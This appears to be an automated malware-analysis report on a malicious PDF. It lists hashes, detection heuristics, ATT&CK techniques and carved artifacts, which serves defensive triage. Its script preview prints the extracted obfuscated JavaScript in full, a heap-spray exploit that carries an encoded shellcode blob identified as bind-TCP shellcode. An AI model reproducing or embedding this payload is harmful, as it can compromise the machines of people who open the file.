Malicious PDF — malware analysis report

Static analysis result for SHA-256 cbf6e9ef98495f79…

MALICIOUS

PDF

7.5 KB First seen: 2026-05-10
MD5: 2cd805e4a9e99fa61b131bd5bf361c32 SHA-1: b6fa94495a33b38d92fc1efba3b9472defcd5413 SHA-256: cbf6e9ef98495f799e787f9b92a20a37322df17b09ae8d1eeabc08399dd51f51
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1566.001 Phishing: Spearphishing Attachment T1204.002 Malicious File: Malicious Attachment

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_UNESCAPE'. The 'CLAMAV_DETECTION' heuristic further confirms its malicious nature. The embedded JavaScript stream, named 'javascript_obj0006_000.js', is the primary mechanism for delivering the malicious payload, likely by downloading and executing a second-stage artifact. The presence of JBIG2 decoding with active content suggests attempts to hide or embed malicious data within the PDF structure.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA = "";
  var FMDWrmNKVgiTxBMeeFBbwPsqPixaTOOIpavoutTQaDDuMYvOe = unescape("%u371d%u7799%u922c%u029b%u90d5%u8d15%u037a%ub9f9%uf821%u274a%u767b%ue128%u4e2d%ua9b2%u303f%ub8fd%u48b5%ub014%u4241%ubebb%u93ba%u2fa8%u4b7c%u9846%u7f96%ub94f%u7e7d%ud30a%uc0fe%u2de2%u4a76%u4379%u427b%u41bb%u9b8d%u4791%uf901%u462c%u734f%uf81b%u7f67%u1175%u1de1%u7096%ud408%u3915%ufdd0%u2b49%u29d5%u77e0%u2471%u3590%u7234%ub63c%uff22%uc7c6%uebc1%u3f3d%ub4bf%u9827%ufc18%u979f%ub5b7%ue33a%u7805%uf513%u0db1%u1c74%u9348%u9225%ub8b2%u33be …
  var DDdnbadCxyKd = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x21D 6093 bytes
SHA-256: 93c80667bc73a57dd697cca4f540eb991e6d1cc7949ebe8e1c7ddbff40cb7ca2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 14 of 19 identifiers look randomly generated (e.g. 'FMDWrmNKVgiTxBMeeFBbwPsqPixaTOOIpavoutTQ') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var ZCaFWqrbikUYucHGLeHAmmYZpcDlXWMt = "";
		var deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA = "";
		var FMDWrmNKVgiTxBMeeFBbwPsqPixaTOOIpavoutTQaDDuMYvOe = unescape("%u371d%u7799%u922c%u029b%u90d5%u8d15%u037a%ub9f9%uf821%u274a%u767b%ue128%u4e2d%ua9b2%u303f%ub8fd%u48b5%ub014%u4241%ubebb%u93ba%u2fa8%u4b7c%u9846%u7f96%ub94f%u7e7d%ud30a%uc0fe%u2de2%u4a76%u4379%u427b%u41bb%u9b8d%u4791%uf901%u462c%u734f%uf81b%u7f67%u1175%u1de1%u7096%ud408%u3915%ufdd0%u2b49%u29d5%u77e0%u2471%u3590%u7234%ub63c%uff22%uc7c6%uebc1%u3f3d%ub4bf%u9827%ufc18%u979f%ub5b7%ue33a%u7805%uf513%u0db1%u1c74%u9348%u9225%ub8b2%u33be%u4bd6%u4e99%ua9a8%u2f66%u7cba%ub337%u7a40%ub00c%u7f14%ub204%u2f7a%u3c7b%ub515%u79b4%ub725%uf90b%u83be%u70e1%u9f42%u663f%u4f46%ud18c%u77e0%u147d%u75b3%u2c7e%ua8a9%u911d%u0478%u4071%u9324%u81b9%ub6fc%u4774%u9299%u9690%ueb88%ufd1a%ue209%uba3d%uf786%u27e3%u734a%u4841%uf800%u4bb0%u8dbb%u9bbf%u9737%ud56b%u4e76%u351c%uf512%u3472%ub80c%ub198%ud42a%u4905%u7c2d%u670d%ud680%u4366%u7874%u727a%u7e14%u3c70%ub048%u9897%u49bf%ud284%u20e3%ub1f9%uf532%u9290%u189f%u71e1%u0473%u76b6%u6777%u057c%u0ca9%u40be%ub74e%ub2b4%u2947%u42e0%u4b25%u4115%u0bb8%u46fd%ud422%u37ba%u75b5%ub924%uc08c%uebd3%ub343%u7f35%u9927%u2a4f%u93d5%u3d2f%u7d7b%u793f%u090d%u6bf8%u4ad6%u349b%ue202%ua82d%u962c%u8dbb%ufc3b%u911d%u1c79%ua9b0%u7e7b%uc131%u74e1%u3071%ub1d5%u3d37%u9796%u767c%uf808%ub240%u27bf%u142c%u2473%u1a67%ud4f6%ub642%u1cba%u15b5%u1372%u77fd%u0c7d%u4648%u4375%ufc23%ud11b%u41e3%u0d05%ud211%u4ee2%u7a93%u0470%u9849%ube99%ueb39%ua834%ub835%u2178%u4be0%u919f%uf569%u4f2f%ubbb4%u3c92%u197f%u47d6%u1d9b%u2590%u3f66%ub78d%uf93a%u2db3%u737c%u7d7e%u4a7a%ua9b9%u8d92%u819f%u70e1%u4a78%ub414%u2515%u757f%u744f%ub134%u8091%u37e2%uf803%ub7b6%ubbb8%u98ba%ua8bf%u6679%ub01d%ue384%u3c71%u2c49%u0d90%uf585%ub31c%u7b4e%ub235%u9996%u2d93%u429b%ud433%u7776%u0a3d%u87d6%ue0f7%u4043%u974b%u67be%ueb00%u4172%u4724%u7946%ue132%u7c04%u8305%u89fd%u0ceb%ue086%u763f%u8848%ub5d5%u2075%u7ffc%u7427%uf912%u2f78%u77b9%u7a2c%ud52b%u72bf%u7e35%ub441%ue301%u7d34%u733f%u9f27%u49d4%ube47%u7b48%u4b15%ue291%ub62f%u9bf5%u42a8%u4a93%ub996%u0c71%u254e%u0546%u1070%u40f8%u8db0%u1c98%ud63d%ua94f%ub3b1%ud028%u1df9%u67ba%u0db7%u04bb%u3c97%ufd38%u1466%ufc24%u2d92%u90b5%u37b8%ub243%ufc99%u89e8%u0000%u6000%ue589%ud231%u8b64%u3052%u528b%u8b0c%u1452%u728b%u0f28%u4ab7%u3126%u31ff%uacc0%u613c%u027c%u202c%ucfc1%u010d%ue2c7%u52f0%u8b57%u1052%u428b%u013c%u8bd0%u7840%uc085%u4a74%ud001%u8b50%u1848%u588b%u0120%ue3d3%u493c%u348b%u018b%u31d6%u31ff%uacc0%ucfc1%u010d%u38c7%u75e0%u03f4%uf87d%u7d3b%u7524%u58e2%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u58e0%u5a5f%u128b%u86eb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%uff07%ub8d5%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u50d5%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%uc789%udb31%u6853%u0002%u5c11%ue689%u106a%u5756%uc268%u37db%uff67%u53d5%u6857%ue9b7%uff38%ud5ff%u5353%u6857%uec74%ue13b%ud5ff%u8957%u68c7%u6e75%u614d%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff");
		var DDdnbadCxyKd = "";

		for (OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL=128;OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL>=0;--OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL) DDdnbadCxyKd += unescape("%u90f8%u4f99");
		HZRAkneKP = DDdnbadCxyKd + FMDWrmNKVgiTxBMeeFBbwPsqPixaTOOIpavoutTQaDDuMYvOe;
		CtbHanoruoDLCMInmHrbzYaYnxtJn = unescape("%u90f8%u4f99");
		CWgMRJDQamXItZfXUhoXHRRYEp = 20;
		cEnKaQLIbwklqRIyaDhJStyULMZEg = CWgMRJDQamXItZfXUhoXHRRYEp+HZRAkneKP.length
		while (CtbHanoruoDLCMInmHrbzYaYnxtJn.length<cEnKaQLIbwklqRIyaDhJStyULMZEg) CtbHanoruoDLCMInmHrbzYaYnxtJn+=CtbHanoruoDLCMInmHrbzYaYnxtJn;
		XXyEPTgfFqIURFgYspFYScOcXDVvpSOrnjlHzBdmqgnpAQJs = CtbHanoruoDLCMInmHrbzYaYnxtJn.substring(0, cEnKaQLIbwklqRIyaDhJStyULMZEg);
		EDdwPsKesPmgrljXdiBuzTayFaIATefhopJcvQMkHBLmwpmt = CtbHanoruoDLCMInmHrbzYaYnxtJn.substring(0, CtbHanoruoDLCMInmHrbzYaYnxtJn.length-cEnKaQLIbwklqRIyaDhJStyULMZEg);
		while(EDdwPsKesPmgrljXdiBuzTayFaIATefhopJcvQMkHBLmwpmt.length+cEnKaQLIbwklqRIyaDhJStyULMZEg < 0x40000) EDdwPsKesPmgrljXdiBuzTayFaIATefhopJcvQMkHBLmwpmt = EDdwPsKesPmgrljXdiBuzTayFaIATefhopJcvQMkHBLmwpmt+EDdwPsKesPmgrljXdiBuzTayFaIATefhopJcvQMkHBLmwpmt+XXyEPTgfFqIURFgYspFYScOcXDVvpSOrnjlHzBdmqgnpAQJs;
		qXClSbcmUjoemFDfDVexiqoAWFizUkIip = new Array();
		for (OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL=0;OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL<100;OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL++) qXClSbcmUjoemFDfDVexiqoAWFizUkIip[OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL] = EDdwPsKesPmgrljXdiBuzTayFaIATefhopJcvQMkHBLmwpmt + HZRAkneKP;

		for (OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL=142;OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL>=0;--OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL) deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA += unescape("%ub550%u0166");
		cfYNCPdLXFFzMjI = deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA.length + 20
		while (deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA.length < cfYNCPdLXFFzMjI) deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA += deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA;
		QJzm = deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA.substring(0, cfYNCPdLXFFzMjI);
		AjbeLzbEQSnJmwrHZnhztuGeloqvlyFOjUqY = deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA.substring(0, deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA.length-cfYNCPdLXFFzMjI);
		while(AjbeLzbEQSnJmwrHZnhztuGeloqvlyFOjUqY.length+cfYNCPdLXFFzMjI < 0x40000) AjbeLzbEQSnJmwrHZnhztuGeloqvlyFOjUqY = AjbeLzbEQSnJmwrHZnhztuGeloqvlyFOjUqY+AjbeLzbEQSnJmwrHZnhztuGeloqvlyFOjUqY+QJzm;
		EyfIwYbHicVNYbcWwEdrFTgiQMYvmwNk = new Array();
		for (OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL=0;OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL<125;OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL++) EyfIwYbHicVNYbcWwEdrFTgiQMYvmwNk[OWaveHZtuFjfiFvQRXpLMpIhLlXDzAXIrpwTiOBPrbPCL] = AjbeLzbEQSnJmwrHZnhztuGeloqvlyFOjUqY + deKJdpkSIMwFrnJgSYprPAhNOHbFYlupiLQwjFTLDA;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x21D 1024 bytes
SHA-256: e3883ae638855511fce036a5ab18afcb9238db299c7428737e198bbbecd19580
Detection
ClamAV: Win.Trojan.ShellcodeBindTcp-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.